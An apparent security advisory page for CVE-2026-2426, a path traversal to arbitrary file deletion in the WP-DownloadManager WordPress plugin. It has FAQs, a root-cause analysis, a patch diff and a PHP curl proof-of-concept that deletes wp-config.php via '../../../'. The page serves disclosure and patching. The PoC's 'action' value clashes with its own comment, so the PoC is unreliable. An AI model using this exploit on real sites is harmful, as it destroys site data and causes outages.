What is CVE-2026-2426?

CVE-2026-2426 is a medium severity vulnerability affecting the WP-DownloadManager plugin for WordPress, specifically versions up to and including 1.69. It allows authenticated users with Administrator-level access to exploit a path traversal flaw, enabling them to delete arbitrary files on the server through the ‘file’ parameter.

How does the vulnerability work?

The vulnerability arises from insufficient validation of user-supplied file paths in the file deletion functionality. Attackers can submit a specially crafted POST request containing a malicious ‘file’ parameter that includes directory traversal sequences, allowing them to delete files outside the intended directory.

Who is affected by this vulnerability?

Any WordPress site using the WP-DownloadManager plugin version 1.69 or earlier is at risk, particularly those with users who have Administrator-level access. Site administrators should check their installed plugin versions to determine if they are vulnerable.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the WP-DownloadManager plugin installed. If it is version 1.69 or earlier, your site is affected. Additionally, review your user roles to see if any accounts have Administrator privileges.

How can I fix this vulnerability?

To mitigate this vulnerability, update the WP-DownloadManager plugin to version 1.69.1 or later, which includes a patch addressing the path traversal issue. Regularly check for updates to all plugins to ensure ongoing security.

What does the CVSS score of 6.5 indicate?

The CVSS score of 6.5 indicates a medium level of severity, suggesting that while the vulnerability is not critical, it poses a significant risk if exploited. Administrators should prioritize patching this vulnerability to prevent potential file deletion and site compromise.

What is path traversal?

Path traversal is a security vulnerability that allows an attacker to access files and directories that are stored outside the intended directory. This can lead to unauthorized file deletion or exposure of sensitive information, such as configuration files.

What are the risks of exploitation?

If exploited, this vulnerability can lead to the deletion of critical files on the server, such as wp-config.php, which can cause site outages and loss of data. In some cases, it may also facilitate remote code execution, further compromising the site.

What does the proof of concept demonstrate?

The proof of concept illustrates how an authenticated attacker can exploit the vulnerability by sending a crafted POST request to delete a file using a path traversal string. It shows the specific parameters needed, including the file ID and malicious file path, to successfully execute the attack.

How can I mitigate risks associated with this vulnerability?

In addition to updating the plugin, consider implementing strict access controls and regularly auditing user permissions. Monitoring server logs for unusual file deletion activities can also help in identifying potential exploitation attempts.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, restrict access to the WP-DownloadManager functionality to only trusted users and monitor for any unauthorized activities. Consider disabling the plugin until a secure version can be installed.

Where can I find more information about this vulnerability?

More information about CVE-2026-2426 can be found on the National Vulnerability Database (NVD) or security advisories related to the WP-DownloadManager plugin. Keeping abreast of security updates from the WordPress community is also advisable.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-2426: WP-DownloadManager <= 1.69 – Authenticated (Administrator+) Path Traversal to Arbitrary File Deletion via 'file' Parameter (wp-downloadmanager)

CVE ID CVE-2026-2426

Plugin wp-downloadmanager

Severity Medium (CVSS 6.5)

CWE 22

Vulnerable Version 1.69

Patched Version 1.69.1

Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2426:
This vulnerability is an authenticated path traversal leading to arbitrary file deletion in the WP-DownloadManager plugin for WordPress, versions 1.69 and earlier. The flaw resides in the file deletion functionality, allowing attackers with Administrator-level access to delete files outside the intended download directory. This can lead to site compromise and remote code execution.

The root cause is insufficient path validation in the file deletion handler within `wp-downloadmanager/download-manager.php`. In the vulnerable code (lines 213-214), the plugin directly uses the user-supplied `$_POST[‘file’]` parameter, sanitized only with `sanitize_text_field()`, to construct a file path for the `unlink()` operation. The `$file_path` variable is prepended, but the `$file` variable can contain directory traversal sequences like `../../../wp-config.php`. The `sanitize_text_field()` function does not prevent path traversal, allowing an attacker to escape the intended download directory.

Exploitation requires an authenticated user with Administrator privileges. The attacker submits a POST request to the plugin’s admin page, typically `/wp-admin/admin.php?page=download-manager/download-manager.php`. The request must include the action for deleting a file, which is triggered by the `case __(‘Delete File’, ‘wp-downloadmanager’);` block. The attacker provides a malicious `file` parameter in the POST body, such as `file=../../../wp-config.php`, along with a valid `file_id` and `unlinkfile=1`. The plugin’s nonce, `wp-downloadmanager_delete-file`, is also required but is obtainable by the administrator.

The patch addresses the vulnerability by removing the direct use of user-controlled input for the file path. In the patched code (lines 213-214), the `$file` variable is no longer taken from `$_POST`. Instead, the plugin performs a database lookup using `$wpdb->get_row()` with a prepared statement, retrieving the file path (`$file->file`) from the `wp_downloads` table based on the `file_id`. This ensures the file path used in the `unlink($file_path . $file->file)` call is the one stored in the database during file upload, not an arbitrary user-supplied string. The patch also removes the corresponding hidden form fields (`file` and `file_name`) from the deletion form in lines 380-382.

Successful exploitation allows an attacker to delete any file on the server that is writable by the web server user. Deleting critical WordPress files like `wp-config.php` can cause a complete site outage and force a reinstallation, potentially allowing the attacker to take over the site during recovery. In some configurations, deleting specific files could also lead to remote code execution, for example, by removing `.htaccess` protections or triggering specific application behaviors.

Differential between vulnerable and patched code

Code Diff

--- a/wp-downloadmanager/download-manager.php
+++ b/wp-downloadmanager/download-manager.php
@@ -139,16 +139,21 @@
 							if( $file_upload_to !== '/' ) {
 								$file_upload_to = $file_upload_to . '/';
 							}
-							if(move_uploaded_file($_FILES['file_upload']['tmp_name'], $file_path.$file_upload_to.basename($_FILES['file_upload']['name']))) {
-								$file = $file_upload_to.basename($_FILES['file_upload']['name']);
-								$file = download_rename_file($file_path, $file);
-								$file_size = filesize($file_path.$file);
+							$validate = wp_check_filetype_and_ext( $_FILES['file_upload']['tmp_name'], basename( $_FILES['file_upload']['name'] ) );
+							if ( $validate['type'] === false ) {
+									$text = '<p style="color: red;">' . __('File type is invalid', 'wp-downloadmanager') . '</p>';
+									break;
+							}
+							if( move_uploaded_file( $_FILES['file_upload']['tmp_name'], $file_path.$file_upload_to . basename( $_FILES['file_upload']['name'] ) ) ) {
+								$file = $file_upload_to . basename( $_FILES['file_upload']['name'] );
+								$file = download_rename_file( $file_path, $file );
+								$file_size = filesize( $file_path . $file );
 							} else {
-								$text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>';
+								$text = '<p style="color: red;">' . __('Error In Uploading File', 'wp-downloadmanager') . '</p>';
 								break;
 							}
 						} else {
-							$text = '<p style="color: red;">'.__('Error In Uploading File', 'wp-downloadmanager').'</p>';
+							$text = '<p style="color: red;">' . __('Error In Uploading File', 'wp-downloadmanager') . '</p>';
 							break;
 						}
 					}
@@ -208,21 +213,20 @@
 		case __('Delete File', 'wp-downloadmanager');
 			check_admin_referer('wp-downloadmanager_delete-file');
 			$file_id  = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0;
-			$file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : '';
-			$file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : '';
+			$file = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->downloads WHERE file_id = %d", $file_id ) );
 			$unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0;
-			if($unlinkfile == 1) {
-				if(!unlink($file_path.$file)) {
-					$text = '<p style="color: red;">'.sprintf(__('Error In Deleting File '%s (%s)' From Server', 'wp-downloadmanager'), $file_name, $file).'</p>';
+			if ( $unlinkfile === 1 ) {
+				if ( ! unlink( $file_path . $file->file ) ) {
+					$text = '<p style="color: red;">' . sprintf( __( 'Error In Deleting File '%s (%s)' From Server', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>';
 				} else {
-					$text = '<p style="color: green;">'.sprintf(__('File '%s (%s)' Deleted From Server Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>';
+					$text = '<p style="color: green;">' . sprintf( __( 'File '%s (%s)' Deleted From Server Successfully', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>';
 				}
 			}
-			$deletefile = $wpdb->query("DELETE FROM $wpdb->downloads WHERE file_id = $file_id");
-			if(!$deletefile) {
-				$text .= '<p style="color: red;">'.sprintf(__('Error In Deleting File '%s (%s)'', 'wp-downloadmanager'), $file_name, $file).'</p>';
+			$deletefile = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->downloads WHERE file_id = %d", $file->file_id ) );
+			if ( ! $deletefile ) {
+				$text .= '<p style="color: red;">' . sprintf( __('Error In Deleting File '%s (%s)'', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>';
 			} else {
-				$text .= '<p style="color: green;">'.sprintf(__('File '%s (%s)' Deleted Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>';
+				$text .= '<p style="color: green;">' . sprintf( __('File '%s (%s)' Deleted Successfully', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>';
 			}
 			break;
 	}
@@ -376,9 +380,7 @@
 		<?php if(!empty($text)) { echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.stripslashes($text).'</p></div>'; } ?>
 		<!-- Delete A File -->
 		<form method="post" action="<?php echo admin_url('admin.php?page='.plugin_basename(__FILE__)); ?>">
-			<input type="hidden" name="file_id" value="<?php echo intval($file->file_id); ?>" />
-			<input type="hidden" name="file" value="<?php echo esc_attr( removeslashes( $file->file ) ); ?>" />
-			<input type="hidden" name="file_name" value="<?php echo esc_attr( removeslashes( $file->file_name ) ); ?>" />
+			<input type="hidden" name="file_id" value="<?php echo esc_attr( intval( $file->file_id ) ); ?>" />
 			<?php wp_nonce_field('wp-downloadmanager_delete-file'); ?>
 			<div class="wrap">
 				<h2><?php _e('Delete A File', 'wp-downloadmanager'); ?></h2>
--- a/wp-downloadmanager/download-options.php
+++ b/wp-downloadmanager/download-options.php
@@ -39,7 +39,10 @@
     $download_options = array('use_filename' => $download_options_use_filename, 'rss_sortby' => $download_options_rss_sortby, 'rss_limit' => $download_options_rss_limit);

     // Validate
-    if ( substr( $download_path, 0, strlen( WP_CONTENT_DIR ) ) !== WP_CONTENT_DIR ) {
+    $real_download_path = realpath( $download_path );
+    $real_wp_content_dir = realpath( WP_CONTENT_DIR );
+
+    if ( false === $real_download_path || false === $real_wp_content_dir || strpos( $real_download_path . DIRECTORY_SEPARATOR, $real_wp_content_dir ) !== 0 || strpos( $download_path, '../' ) !== false ) {
         $download_path = WP_CONTENT_DIR;
     }

--- a/wp-downloadmanager/wp-downloadmanager.php
+++ b/wp-downloadmanager/wp-downloadmanager.php
@@ -3,7 +3,7 @@
 Plugin Name: WP-DownloadManager
 Plugin URI: https://lesterchan.net/portfolio/programming/php/
 Description: Adds a simple download manager to your WordPress blog.
-Version: 1.69
+Version: 1.69.1
 Author: Lester 'GaMerZ' Chan
 Author URI: https://lesterchan.net
 Text Domain: wp-downloadmanager
@@ -30,7 +30,7 @@


 ### Version
-define( 'WP_DOWNLOADMANAGER_VERSION', '1.69' );
+define( 'WP_DOWNLOADMANAGER_VERSION', '1.69.1' );

 ### Create text domain for translations
 add_action( 'plugins_loaded', 'downloadmanager_textdomain' );
@@ -1074,10 +1074,10 @@
 			$template_download_embedded = str_replace("%FILE_SIZE_DEC%",  format_filesize_dec($file->file_size), $template_download_embedded);
 			$template_download_embedded = str_replace("%FILE_CATEGORY_ID%", (int) $file->file_category, $template_download_embedded);
 			$template_download_embedded = str_replace("%FILE_CATEGORY_NAME%", stripslashes($download_categories[(int) $file->file_category]), $template_download_embedded);
-			$template_download_embedded = str_replace("%FILE_DATE%",  mysql2date(get_option('date_format'), gmdate('Y-m-d H:i:s', $file->file_date)), $template_download_embedded);
-			$template_download_embedded = str_replace("%FILE_TIME%",  mysql2date(get_option('time_format'), gmdate('Y-m-d H:i:s', $file->file_date)), $template_download_embedded);
-			$template_download_embedded = str_replace("%FILE_UPDATED_DATE%",  mysql2date(get_option('date_format'), gmdate('Y-m-d H:i:s', $file->file_updated_date)), $template_download_embedded);
-			$template_download_embedded = str_replace("%FILE_UPDATED_TIME%",  mysql2date(get_option('time_format'), gmdate('Y-m-d H:i:s', $file->file_updated_date)), $template_download_embedded);
+			$template_download_embedded = str_replace("%FILE_DATE%",  mysql2date(get_option('date_format'), gmdate('Y-m-d H:i:s', (int) $file->file_date)), $template_download_embedded);
+			$template_download_embedded = str_replace("%FILE_TIME%",  mysql2date(get_option('time_format'), gmdate('Y-m-d H:i:s', (int) $file->file_date)), $template_download_embedded);
+			$template_download_embedded = str_replace("%FILE_UPDATED_DATE%",  mysql2date(get_option('date_format'), gmdate('Y-m-d H:i:s', (int) $file->file_updated_date)), $template_download_embedded);
+			$template_download_embedded = str_replace("%FILE_UPDATED_TIME%",  mysql2date(get_option('time_format'), gmdate('Y-m-d H:i:s', (int) $file->file_updated_date)), $template_download_embedded);
 			$template_download_embedded = str_replace("%FILE_HITS%", number_format_i18n($file->file_hits), $template_download_embedded);
 			$template_download_embedded = str_replace("%FILE_DOWNLOAD_URL%", download_file_url($file->file_id, $file->file), $template_download_embedded);
 			$output .= $template_download_embedded;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2426 - WP-DownloadManager <= 1.69 - Authenticated (Administrator+) Path Traversal to Arbitrary File Deletion via 'file' Parameter

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php';
$admin_cookie = 'wordpress_logged_in_abc123=...'; // Replace with valid admin session cookie
$nonce = 'abc123def456'; // Replace with a valid 'wp-downloadmanager_delete-file' nonce obtained from the deletion form
$file_id = 1; // Replace with a valid file ID from the downloads list

// Target file for deletion. Use path traversal to escape the download directory.
$malicious_file_path = '../../../wp-config.php';

$post_data = array(
    'page' => 'download-manager/download-manager.php',
    'file_id' => $file_id,
    'file' => $malicious_file_path,
    'file_name' => 'Legitimate File Name', // This value is echoed but not used for the path in the vulnerable code
    'unlinkfile' => 1, // Instruct the plugin to delete the file from the server
    '_wpnonce' => $nonce,
    'action' => 'delete' // The switch case is triggered by the 'action' POST parameter matching 'Delete File'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// For debugging
// curl_setopt($ch, CURLOPT_VERBOSE, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    if (strpos($response, 'File Deleted From Server Successfully') !== false) {
        echo "[+] Exploit likely succeeded. Check if the target file was deleted.n";
    } else {
        echo "[-] Exploit may have failed. Check response for errors.n";
    }
    // echo $response; // Uncomment to inspect full response
} else {
    echo "[-] HTTP request failed with code: " . $http_code . "n";
}

?>

Frequently Asked Questions

What is CVE-2026-2426?
Overview of the vulnerability
CVE-2026-2426 is a medium severity vulnerability affecting the WP-DownloadManager plugin for WordPress, specifically versions up to and including 1.69. It allows authenticated users with Administrator-level access to exploit a path traversal flaw, enabling them to delete arbitrary files on the server through the ‘file’ parameter.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient validation of user-supplied file paths in the file deletion functionality. Attackers can submit a specially crafted POST request containing a malicious ‘file’ parameter that includes directory traversal sequences, allowing them to delete files outside the intended directory.
Who is affected by this vulnerability?
Identifying affected users
Any WordPress site using the WP-DownloadManager plugin version 1.69 or earlier is at risk, particularly those with users who have Administrator-level access. Site administrators should check their installed plugin versions to determine if they are vulnerable.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the WP-DownloadManager plugin installed. If it is version 1.69 or earlier, your site is affected. Additionally, review your user roles to see if any accounts have Administrator privileges.
How can I fix this vulnerability?
Recommended actions
To mitigate this vulnerability, update the WP-DownloadManager plugin to version 1.69.1 or later, which includes a patch addressing the path traversal issue. Regularly check for updates to all plugins to ensure ongoing security.
What does the CVSS score of 6.5 indicate?
Understanding severity ratings
The CVSS score of 6.5 indicates a medium level of severity, suggesting that while the vulnerability is not critical, it poses a significant risk if exploited. Administrators should prioritize patching this vulnerability to prevent potential file deletion and site compromise.
What is path traversal?
Definition and implications
Path traversal is a security vulnerability that allows an attacker to access files and directories that are stored outside the intended directory. This can lead to unauthorized file deletion or exposure of sensitive information, such as configuration files.
What are the risks of exploitation?
Potential consequences of the vulnerability
If exploited, this vulnerability can lead to the deletion of critical files on the server, such as wp-config.php, which can cause site outages and loss of data. In some cases, it may also facilitate remote code execution, further compromising the site.
What does the proof of concept demonstrate?
Illustration of the vulnerability
The proof of concept illustrates how an authenticated attacker can exploit the vulnerability by sending a crafted POST request to delete a file using a path traversal string. It shows the specific parameters needed, including the file ID and malicious file path, to successfully execute the attack.
How can I mitigate risks associated with this vulnerability?
Preventive measures
In addition to updating the plugin, consider implementing strict access controls and regularly auditing user permissions. Monitoring server logs for unusual file deletion activities can also help in identifying potential exploitation attempts.
What should I do if I cannot update the plugin immediately?
Temporary measures
If immediate updates are not possible, restrict access to the WP-DownloadManager functionality to only trusted users and monitor for any unauthorized activities. Consider disabling the plugin until a secure version can be installed.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-2426 can be found on the National Vulnerability Database (NVD) or security advisories related to the WP-DownloadManager plugin. Keeping abreast of security updates from the WordPress community is also advisable.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations